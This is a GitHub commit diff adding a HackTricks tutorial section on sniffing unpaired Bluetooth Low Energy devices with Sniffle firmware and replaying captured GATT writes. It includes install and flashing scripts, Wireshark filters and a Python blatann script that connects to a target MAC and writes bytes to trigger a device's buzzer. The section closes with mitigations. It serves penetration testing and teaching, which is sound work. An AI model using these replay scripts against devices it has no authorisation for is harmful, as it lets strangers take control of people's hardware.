Skip to content

Commit dde1258

Browse files
authored
Merge pull request #1347 from HackTricks-wiki/update_Start_hacking_Bluetooth_Low_Energy_today___part_2__20250827_124037
Start hacking Bluetooth Low Energy today! (part 2)
2 parents acbc620 + 4501b98 commit dde1258

1 file changed

Lines changed: 129 additions & 1 deletion

File tree

src/todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md

Lines changed: 129 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,135 @@ sudo bettercap --eval "ble.recon on"
7070
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06
7171
```
7272

73-
{{#include ../../banners/hacktricks-training.md}}
73+
## Sniffing and actively controlling unpaired BLE devices
74+
75+
Many low-cost BLE peripherals do not enforce pairing/bonding. Without bonding, the Link Layer encryption is never enabled, so ATT/GATT traffic is in cleartext. An off-path sniffer can follow the connection, decode GATT operations to learn characteristic handles and values, and any nearby host can then connect and replay those writes to control the device.
76+
77+
### Sniffing with Sniffle (CC26x2/CC1352)
78+
79+
Hardware: a Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashed with NCC Group’s Sniffle firmware.
7480

81+
Install Sniffle and its Wireshark extcap on Linux:
82+
83+
```bash
84+
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
85+
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
86+
sudo mkdir -p /opt/sniffle
87+
sudo chown -R $USER:$USER /opt/sniffle
88+
pushd /opt/sniffle
89+
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
90+
tar xvf v1.10.0.tar.gz
91+
# Install Wireshark extcap for user and root only
92+
mkdir -p $HOME/.local/lib/wireshark/extcap
93+
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
94+
sudo mkdir -p /root/.local/lib/wireshark/extcap
95+
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
96+
popd
97+
else
98+
echo "[+] - Sniffle already installed at 1.10.0"
99+
fi
100+
```
75101

102+
Flash Sonoff with Sniffle firmware (ensure your serial device matches, e.g. /dev/ttyUSB0):
103+
104+
```bash
105+
pushd /opt/sniffle/
106+
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
107+
git clone https://github.com/sultanqasim/cc2538-bsl.git
108+
cd cc2538-bsl
109+
python3 -m venv .venv
110+
source .venv/bin/activate
111+
python3 -m pip install pyserial intelhex
112+
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
113+
deactivate
114+
popd
115+
```
116+
117+
Capture in Wireshark via the Sniffle extcap and quickly pivot to state-changing writes by filtering:
118+
119+
```text
120+
_ws.col.info contains "Sent Write Command"
121+
```
76122

123+
This highlights ATT Write Commands from the client; the handle and value often directly map to device actions (e.g., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).
124+
125+
Sniffle CLI quick examples:
126+
127+
```bash
128+
python3 scanner.py --output scan.pcap
129+
# Only devices with very strong signal
130+
python3 scanner.py --rssi -40
131+
# Filter advertisements containing a string
132+
python3 sniffer.py --string "banana" --output sniff.pcap
133+
```
134+
135+
Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin also works. On small/cheap Nordic dongles you typically overwrite the USB bootloader to load the sniffer firmware, so you either keep a dedicated sniffer dongle or need a J-Link/JTAG to restore the bootloader later.
136+
137+
### Active control via GATT
138+
139+
Once you’ve identified a writable characteristic handle and value from the sniffed traffic, connect as any central and issue the same write:
140+
141+
- With Nordic nRF Connect for Desktop (BLE app):
142+
- Select the nRF52/nRF52840 dongle, scan and connect to the target.
143+
- Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).
144+
- Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).
145+
146+
- Automate on Windows with a Nordic dongle using Python + blatann:
147+
148+
```python
149+
import time
150+
import blatann
151+
152+
# CONFIG
153+
COM_PORT = "COM29" # Replace with your COM port
154+
TARGET_MAC = "5B:B1:7F:47:A7:00" # Replace with your target MAC
155+
156+
target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")
157+
158+
# CONNECT
159+
ble_device = blatann.BleDevice(COM_PORT)
160+
ble_device.configure()
161+
ble_device.open()
162+
print(f"[-] Connecting to {TARGET_MAC}...")
163+
peer = ble_device.connect(target_address).wait()
164+
if not peer:
165+
print("[!] Connection failed.")
166+
ble_device.close()
167+
raise SystemExit(1)
168+
169+
print("Connected. Discovering services...")
170+
peer.discover_services().wait(5, exception_on_timeout=False)
171+
172+
# Example: write 0x01/0x00 to a known handle
173+
for service in peer.database.services:
174+
for ch in service.characteristics:
175+
if ch.handle == 0x000b: # Replace with your handle
176+
print("[!] Beeping.")
177+
ch.write(b"\x01")
178+
time.sleep(2)
179+
print("[+] And relax.")
180+
ch.write(b"\x00")
181+
182+
print("[-] Disconnecting...")
183+
peer.disconnect()
184+
peer.wait_for_disconnect()
185+
ble_device.close()
186+
```
187+
188+
### Operational notes and mitigations
189+
190+
- Prefer Sonoff+Sniffle on Linux for robust channel hopping and connection following. Keep a spare Nordic sniffer as a backup.
191+
- Without pairing/bonding, any nearby attacker can observe writes and replay/craft their own to unauthenticated writable characteristics.
192+
- Mitigations: require pairing/bonding and enforce encryption; set characteristic permissions to require authenticated writes; minimize unauthenticated writable characteristics; validate GATT ACLs with Sniffle/nRF Connect.
193+
194+
## References
195+
196+
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
197+
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
198+
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
199+
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
200+
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
201+
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
202+
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
203+
204+
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)